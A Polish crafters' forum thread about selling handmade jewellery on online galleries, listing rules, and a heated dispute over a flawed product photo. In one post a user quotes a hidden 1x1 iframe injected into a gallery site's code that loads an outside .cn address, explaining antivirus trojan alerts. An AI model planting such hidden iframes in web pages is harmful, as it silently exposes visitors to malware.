Galerie artystyczne w internecie cz. II

[harmartolos]

Napisane przez liseron

Clementinne - dziękuję za wyjaśnienia, są bardzo pomocne i zgadzam się ze wszystkim co piszesz. Może się trochę czepiam, ale właśnie diabeł tkwi w szczegółach, bo skoro niektóre galerie zezwalają na wystawienie tego samego egzemplarza na ich stronie i na stronach autorskich lub blogach autora, ale na innych, konkurencyjnych galeriach już nie, to chyba nie jest to kwestia zabezpieczeń przed przypadkami losowymi a niestety nie wszystkie galerie uwzględniają te warunki w regulaminie ogólnym.
Po drugie - "hurtowo" użyłam tylko jako przenośni - wiadomo, że manualnych prac precyzyjnych nie sposób wykonać w ilości liczonych w tysiącach, ale cenna jest Twoja uwaga, że lepiej mieć więcej rzeczy w jednej galerii, niż po kilka w wielu.
Ostatnie sprostowanie - mój problem nie polega na tym "gdzie to dać", (bo pewnie jak wiele z Was, pójdę tam, gdzie będą mnie chcieli), ale na tym gdzie rzeczywiście warto startować, bo z tego co się doczytałam - galeria galerii nierówna - Wasze opinie i odczucia są przeróżne, dlatego zależało mi na skondensowaniu najważniejszych wiadomości, potrzebnych "żółtodziobom" zawartych w dwóch częściach tego wątku
Wszystkie rady w cenie więc jeszcze raz dziękuję.

A która galeria zabrania wystawiania swojej pracy na prywatnej stronie/blogu? Rozróżnijmy wystawianie od sprzedaży poza tym. Nic złego chyba nie ma w tym, że dodaję fotki do mojego portfolio, a sprzedają się gdzieś tam.
Poza tym, wiele galerii nie ma w regulaminie zakazu wystawiania w innych galeriach w tym samym czasie. Tutaj naprawdę chodzi o to, żeby nie wyszła akcja typu: sprzedało się podwójnie. Niektóre galerie po prostu mają gdzieś, co Ty tam sobie kombinujesz, po prostu jak ktoś kupi, to masz to klientowi wysłać zgodnie z regulaminem. Reszta ich nie obchodzi.
Oczywiście, są galerie, które zastrzegają sobie, że nie wolno dublować egzemplarzy (np wyl ma taką filozofię, a przynajmniej teoretycznie ).
Trudno dyskutować ogólnie, trzeba by szczególnie

Gdzie warto startować? To zależy na co kładziesz nacisk. Wiadomo chyba, które galerie prosperują najlepiej, które są dla twórców przyjazne, które twórców mają w de, a które dopiero wystartowały i jeszcze nie uplasowały swojej pozycji

[clementinne]

Napisane przez harmartolos

Poza tym, wiele galerii nie ma w regulaminie zakazu wystawiania w innych galeriach w tym samym czasie. Tutaj naprawdę chodzi o to, żeby nie wyszła akcja typu: sprzedało się podwójnie. Niektóre galerie po prostu mają gdzieś, co Ty tam sobie kombinujesz, po prostu jak ktoś kupi, to masz to klientowi wysłać zgodnie z regulaminem. Reszta ich nie obchodzi.

A jaka nie ma? Która galeria zgadza się oficjalnie na to, żeby ta sama praca była u nich i gdzieś indziej w tym samym czasie?

Bo tak na logikę, biorąc pod uwagę cyrki jakie dosłownie codziennie dzieją się przy składaniu, opłacaniu i realizacji zamówień, to trzeba być samobójcą, żeby do tego młyna dołożyć sobie jeszcze użeranie się o prace, które "się własnie chwilę temu sprzedało w galerii X".

A prace na blogu czy jakiejś swojej stronce możesz sobie wystawiać do woli - o ile nie grozi to tym "się właśnie chwilę temu...." opisanym w powyższym akapicie

[magdaigra]

Odbiegając od tematu wystawiania tych samych prac, właśnie przegladałam Pakamerę z myślą o wzięciu się wreszcie za konkretną robotę, a tu takie cuś: Na zdjęciu u jednej z dziewczyn ostro wypowiadających się w kwestii orginalności prac, jest jeden bigl (bigiel) pęknięty. Czy to ma byc ta orginalność?? I gdzie jakość wykonywania prac w dobrej galerii, jak to się ma do szacunku wobec klienta?

[cayen1]

Napisane przez magdaigra

Odbiegając od tematu wystawiania tych samych prac, właśnie przegladałam Pakamerę z myślą o wzięciu się wreszcie za konkretną robotę, a tu takie cuś: Na zdjęciu u jednej z dziewczyn ostro wypowiadających się w kwestii orginalności prac, jest jeden bigl (bigiel) pęknięty. Czy to ma byc ta orginalność?? I gdzie jakość wykonywania prac w dobrej galerii, jak to się ma do szacunku wobec klienta?

pewnie myśli, że klient głupi nie zauważy A tak swoją drogą to dziwię się, że nie wkleiłaś linku strony przedmiotu, wtedy wszyscy by mogli go skrytykować (zauważyłam, że jest to często praktykowane).

Nie, nie żartowałam! bardzo dobrze, że tego nie zrobiłaś. Teraz wszystkie wizażanki szukają tego bigla w pace
I pewnie zaraz mi się znowu oberwie A co mi tam

[135nudziara]

jak to? złamany bigiel by chyba przełamał się na pół, więc jak to możliwe, że ktoś tak wystawił ostatnio przy bardzo ładnych sztyftach i w biglach angielskich odłamało się to oczko i do wyrzucenia :/

[harmartolos]

Napisane przez clementinne

A jaka nie ma? Która galeria zgadza się oficjalnie na to, żeby ta sama praca była u nich i gdzieś indziej w tym samym czasie?

Dzis nie przestudiuję dokłądnie regulaminów, bo padam. Ale z tego, co pamiętam, to niektóre po prostu nie wspominają o tej kwestii. A niektóre faktycznie mają jakąś tam klauzulę, że przedmiot nie może być wystawione w innej galerii.Przyznaję, że na to zwracałam małą uwagę, bo ja i tak wystawiam pojedynczo. Więc w gruncie rzeczy mogło mi się porąbać

---------- Dopisano o 22:27 ---------- Poprzedni post napisano o 22:24 ----------

Napisane przez magdaigra

Odbiegając od tematu wystawiania tych samych prac, właśnie przegladałam Pakamerę z myślą o wzięciu się wreszcie za konkretną robotę, a tu takie cuś: Na zdjęciu u jednej z dziewczyn ostro wypowiadających się w kwestii orginalności prac, jest jeden bigl (bigiel) pęknięty. Czy to ma byc ta orginalność?? I gdzie jakość wykonywania prac w dobrej galerii, jak to się ma do szacunku wobec klienta?

Mam podejrzenie... pewnie nietrafione, ale... Ja osobiście najpierw bym sprawdziła reakcję na uwagę sam na sam Chyba, że to jakieś sprawy takie tam, w które mam się nie wścibiać

[magdaigra]

Nie chodzi mi o napiętnowanie osoby, tylko na zwrócenie jej uwagi że takie rzeczy widać. Sama przez to zdjęcie straciła na pewno kilku klientów. Ale sedno tej sprawy jest takie że opisujemy tu galerie, ich sprzedaż i stosunek do klienta a same nie zawsze postępujemy jak należy, Ja też proszę o zwrócenie mi uwagi jeśli coś w moich pracach nie gra, bo chyba po to jest między innymi to forum. Na sprzedaż w galeriach same pracujemy a klient który się "sparzył" odejdzie i nic w tym dziwnego. Dochodzi tu kwestia odpowiedzialności osób niepełnoletnich - jest wiele dziewczyn młodziutkich które robią "cuda", ale część nie wiem -liczy na naiwność kupującego? Pamiętajmy że jeden klient przełknie zakup bubla, ale drugi w odwecie może zahaczyć o jakiś urząd. Dla osoby wpłacającej pieniążki na konto galerii, zakupy to nie tylko zabawa. A właśnie zauważyłam że nie tylko ja zwróciłam uwage na tą wpadkę.

[harmartolos]

Napisane przez magdaigra

Nie chodzi mi o napiętnowanie osoby, tylko na zwrócenie jej uwagi że takie rzeczy widać. Sama przez to zdjęcie straciła na pewno kilku klientów. Ale sedno tej sprawy jest takie że opisujemy tu galerie, ich sprzedaż i stosunek do klienta a same nie zawsze postępujemy jak należy, Ja też proszę o zwrócenie mi uwagi jeśli coś w moich pracach nie gra, bo chyba po to jest między innymi to forum. Na sprzedaż w galeriach same pracujemy a klient który się "sparzył" odejdzie i nic w tym dziwnego. Dochodzi tu kwestia odpowiedzialności osób niepełnoletnich - jest wiele dziewczyn młodziutkich które robią "cuda", ale część nie wiem -liczy na naiwność kupującego? Pamiętajmy że jeden klient przełknie zakup bubla, ale drugi w odwecie może zahaczyć o jakiś urząd. Dla osoby wpłacającej pieniążki na konto galerii, zakupy to nie tylko zabawa. A właśnie zauważyłam że nie tylko ja zwróciłam uwage na tą wpadkę.

Mniejsza o napiętnowanie. Jedynie wg mnie, jeśli chodzi o zwrócenie uwagi, to taka uwaga powinna trafić przede wszystkim do zainteresowanego. Pewnie zainteresowana przeczyta, w to nie wątpię, ale przy okazji poczuje się niebałdzo. Chyba, że o to chodzi. To w zasadzie nie moja sprawa.

Auaaa... taczpad mi oszalał Zaraz poprawna teść

[substytut]

Heh, cos mi w glowie kolacze, ze juz jej zwrocono uwage... :/

[harmartolos]

Mniejsza o napiętnowanie. Jedynie wg mnie, jeśli chodzi o zwrócenie uwagi, to taka uwaga powinna trafić przede wszystkim do zainteresowanego. Pewnie zainteresowana przeczyta, w to nie wątpię, ale przy okazji poczuje się niebałdzo. Chyba, że o to chodzi. To w zasadzie nie moja sprawa. Ale co innego, kiedy ktoś swoje prace tutaj wrzuca i komentarze dostaje wprost, a co innego jak mówimy o kimś i jedni wiedzą, inni nie wiedzą... no Peace

Ja za uczciwym traktowaniem klientów jestem bardzo za Jeśli jednak coś na zdjęciu widać, a klient kupił... To w zasadzie albo zrobił to świadomie, albo po prostu mu to loto. Co innego umyślnie zatajenie jakiejś wady. Owszem, może twórca na tym traci... być może. A być może nie.

---------- Dopisano o 23:11 ---------- Poprzedni post napisano o 23:10 ----------

Napisane przez substytut

Heh, cos mi w glowie kolacze, ze juz jej zwrocono uwage... :/

Właśnie, to myślimy podobnie Nie wiem jednak, czy mimo wszystko trzeba porządnie nakrzyczeć

[magdaigra]

Napisane przez harmartolos

Ja za uczciwym traktowaniem klientów jestem bardzo za Jeśli jednak coś na zdjęciu widać, a klient kupił... To w zasadzie albo zrobił to świadomie, albo po prostu mu to loto. Co innego umyślnie zatajenie jakiejś wady. Owszem, może twórca na tym traci... być może. A być może nie.

Jeśli kupisz w sklepie buty które rozlecą się po dwóch dniach to nie tylko wkurzysz się na firmę produkującą, ale też nie wrócisz do sklepu. To raz
Drugie, to jeśli uwaga była i nie przyniosła efektu to może warto by nakrzyczeć.
Trzecie, może powinnam była pisać na priv (co pewnie przyniosło by taki sam efekt jak poprzednia uwaga), ale chciałam jednocześnie poruszyć temat jakości prac w galeriach nad którymi tak się rozwodzimy i na temat odpowiedzialności za to co się robi.
Jeśli ja za coś płacę to sentymentów nie mam, tak samo jak mój szef przy wypłacie. Klient sentymentów też mieć nie będzie.

[harmartolos]

To zależy, czy kupując buty widziałam, że im się wyraźnie podeszwa odkleja. Bo w tym wypadku widać. Jeśli widziałam, kupiłam, to mogę mieć tylko pretensje do siebie. Jeśli nie widziałam, to mogę się pieklić, aczkolwiek ktoś mi wtedy powie, że mogłam nie być ślepa
Mogę też udawać, że nie widziałam i reklamować.

Z biżuterią jednak jest trochę inaczej niz zbutami, bo więcej osób się nie zna, o czym mowa tutaj ostatnio mowa. Więc taki bigiel niekoniecznie się rozpadnie i niekoniecznie zniechęci klienta. Znawcy to widzą, laicy moze nie - tak samo jak nie widzą pokrzywionych loopów, kupują i są zadowoleni. Przecież ekstremalne rzeczy schodzą i klienci nie narzekają.
Co wcale nie oznacza, że zachęcam do robienia niskiej jakosci prac. Bynajmniej.
Kwestia jest to, żę tak powiem fuksa

A dwa, że "pewnie", to nie "na pewno" Pewnie, to mam cztery nogi, ale póki nikt nie sprawdzi, to się nie dowie Co do uwagi... ja w gruncie rzeczy nie jestem pewna, czy dobrze myślę, może chodzi o kogoś innego. Jak coś chlapnę, to niewinna osoba przy okazji dostanie po uszach

Za odpowiedzialnością jak mówiłam jestem za Jakość prac w niektórych pozostawia wiele do życzenia, jednak sprzedają się, niektórzy nawet są zadowoleni, Czy są reklamacje, tego nie wiem.

[naila]

Napisane przez magdaigra

Drugie, to jeśli uwaga była i nie przyniosła efektu to może warto by nakrzyczeć.

Jeśli chodzi o bigle, na temat których uwagę niedawno napisałam, to uważam, że taka uwaga powinna wystarczyć. Nie zamierzam dodatkowo krzyczeć i trzymać kogoś za uszy, żeby poprawił, bo to tej osobie powinno samej zależeć.

[smieszka250]

Rozumiem, że ta uwaga dotyczy moich kolczyków. Ten bigiel nie jest pęknięty, tylko tak jakby zaciek ze srebra się zrobił. Może na zdjęciu wygląda to jak złamany bigiel, ale naprawdę, to tego prawie wcale nie widać. Nie uważam, żeby to w czymś przeszkadzało. Zdjęcie jest takie, że widać, ale jakby było zrobione tak, że nie widać, to w rzeczywistości nikt by tego nie zauważył - sama zobaczyłam to dopiero na zdjęciu, gdy wytknęła mi to naila.

[KarmazynowyKamyk]

Napisane przez smieszka250

Rozumiem, że ta uwaga dotyczy moich kolczyków. Ten bigiel nie jest pęknięty, tylko tak jakby zaciek ze srebra się zrobił. Może na zdjęciu wygląda to jak złamany bigiel, ale naprawdę, to tego prawie wcale nie widać. Nie uważam, żeby to w czymś przeszkadzało. Zdjęcie jest takie, że widać, ale jakby było zrobione tak, że nie widać, to w rzeczywistości nikt by tego nie zauważył - sama zobaczyłam to dopiero na zdjęciu, gdy wytknęła mi to naila.

Ostatecznie na zdjęciu widać... Więc można uznać, że potencjalny klient jest poinformowany... Nie wiem jak z opisem, ale może warto dodać, że zdjęcie jest zrobione w dużym przybliżeniu itd. itp.... ble, ble, ble, ale w rzeczywistości wady nie widać...

[smieszka250]

Zeszlifowałam tą nierówność, zoksydowałam i zrobiłam zdjęcie. Nadal było widać. Poprawiłam jeszcze raz i teraz jest ok - zaraz zmienię fotkę.

[cayen1]

Napisane przez KarmazynowyKamyk

Ostatecznie na zdjęciu widać... Więc można uznać, że potencjalny klient jest poinformowany... Nie wiem jak z opisem, ale może warto dodać, że zdjęcie jest zrobione w dużym przybliżeniu itd. itp.... ble, ble, ble, ale w rzeczywistości wady nie widać...

ble, ble, ble... można powiedzieć, jak komuś nie zależy na sprzedaży tych kolczyków. Projektant/artysta chyba sam sobie szkodzi takim zdjęciem. Klient nie wie przecież jak one wyglądają w rzeczywistości. Może się jedynie domyślać. I ja jako potencjalna kupiec (bo kolczyki prześliczne) zobaczywszy takie zdjęcie z pewnością nie kupiłabym tych kolczyków, i nawet jeśli w opisie była by na ten temat wzmianka, to chyba mimo wszystko bym nie uwierzyła. I tłumaczenie, że zdjęcie w powiększeniu, do mnie nie trafia. Sorry! To jest wizerunek artysty i jego dbałości o tzw. detale. Słaba reklama i promocja własnej twórczości
Może po prostu wymienić te bigle? I po sprawie.Czasem trzeba ponieść koszty

[nanavel]

Dziewczyny, czy któraś z Was też ma tak ze jak się loguje na zaplecze decobazaru to jej antywirus konia trojańskiego wykrywa? Bo mój kasperski za każdym razem kwiczy nie miłosiernie i teraz nie wiem czy to tylko u mnie czy u innych też.

[Rosemary]

U mnie też. Własnie zamierzałam o tym do nich napisać.

[joanna_k]

o jak miło,jak ja to lubię.Rzucające się harpie (dwie,bo w parach lepiej się poluje i ma się tą pewność,że druga rzuci się na ratunek).Co Was drogie harpie obchodzi,że ktoś stracił potencjalnego klienta,trzeba się cieszyć,może kupi waszą pracę.
Cóż mogę napisać,poza tym że mam nadzieję,że ktoś to odczytał jako ironię.Śmieszko szanuj się .
Po prostu brak słów.Same sobie wystawiacie opinię.

[mlisiewski]

Nie tylko kasperski - Nod32 też szaleje - i w sumie nic dziwnego w kodzie strony jest

<iframe src="http://lotmachinesguide.cn/in.cgi?income56" width=1 height=1 style="visibility: hidden"></iframe>

i raczej właścicielki strony tego tam nie wstawiły.

[orangecountry]

tak ja też mam ten problem z deco..... i co na to mamy poradzić.......?

[mlisiewski]

Pisać do właścicieli i do czasu naprawienia problemu nie logować się do zaplecza Decobazaaru z Internet Explorera, szczególnie w wersji 6 i/lub bez kompletu aktualizacji Windowsa (jeśli masz pirata to na 95% aktualizacji nie masz). Inne przeglądarki powinny być ok, ale nie zagwarantować tego nie mogę.

[CheColada]

Kiedy paka się rozlicza?

[maweth]

Do 10. każdego miesiąca

[CheColada]

Dzięki

[magdaigra]

Napisane przez joanna_k

o jak miło,jak ja to lubię.Rzucające się harpie (dwie,bo w parach lepiej się poluje i ma się tą pewność,że druga rzuci się na ratunek).Co Was drogie harpie obchodzi,że ktoś stracił potencjalnego klienta,trzeba się cieszyć,może kupi waszą pracę.
Cóż mogę napisać,poza tym że mam nadzieję,że ktoś to odczytał jako ironię.Śmieszko szanuj się .
Po prostu brak słów.Same sobie wystawiacie opinię.

A ja gratuluję uczciwości, jednak przestaje dziwić się ludziom którzy kupują tylko znane marki znanych firm. Szanuj się dziewczyno, zacznij myśleć żeby twoi rodzice kłopotu przez ciebie nie mieli
To raz, a drugie, to jeśli klient kupuje biżuterię typu wire wrapping i wyda pieniądze na darmo, to na pewno nie przybiegnie do kogoś innego czyli do mnie. Raczej opuści galerię i będzie kupować w realu.
Po trzecie czytając jakie macie podejście do kupujących, zaczęłam zdawać sobie sprawę ile ja miałam szczęścia robiąc zakupy w necie.

Za obraźliwe słowa dziękuję, harpie? cóż za oczytanie -imponujące u małoletnich

[joanna_k]

Napisane przez magdaigra

A ja gratuluję uczciwości, jednak przestaje dziwić się ludziom którzy kupują tylko znane marki znanych firm. Szanuj się dziewczyno, zacznij myśleć żeby twoi rodzice kłopotu przez ciebie nie mieli
To raz, a drugie, to jeśli klient kupuje biżuterię typu wire wrapping i wyda pieniądze na darmo, to na pewno nie przybiegnie do kogoś innego czyli do mnie. Raczej opuści galerię i będzie kupować w realu.
Po trzecie czytając jakie macie podejście do kupujących, zaczęłam zdawać sobie sprawę ile ja miałam szczęścia robiąc zakupy w necie.

Za obraźliwe słowa dziękuję, harpie? cóż za oczytanie -imponujące u małoletnich

hahaha ale się uśmiałam .Mój jedyny komentarz do twojego postu jest taki,że jak zaczniesz kogoś wyzywać od małolatów,to najpierw sprawdź do kogo to piszesz .Za przeproszeniem klient myśli i widzi.Jeśli kupuje kolczyki za przykładowo 150 zł, których jakośc na pierwszy rzut oka jest wątpliwa,to może mieć pretensję wyłącznie do siebie.
Na ten incydent z atakiem na śmieszkę tym razem przymknę oko.Przy kolejnych już nie. I zawsze to piszę,jeżeli nie podoba się to forum,to droga wolna nikt za karę nikogo tu nie trzyma.Na tym kończę,nie zamierzam z tobą więcej dyskutować.

[loverynka]

Trochę spokoju potrzeba i już. Dziewczyna sama za siebie odpowiada. Ja jakoś nigdy nie zostałam potwornie w necie oszukana i mam nadzieję że nadal tak będzie bo kupiłam sobie właśnie kosmetyki zza wielkich wód i lądów.

[magdaigra]

O moderator straszy kogoś kto tylko wypowiedział swoje zdanie. Krytykujecie osoby z poza forum, galerie itd, ale to co innego, życzę szczęścia i wielu głupich kupujących ......................... ....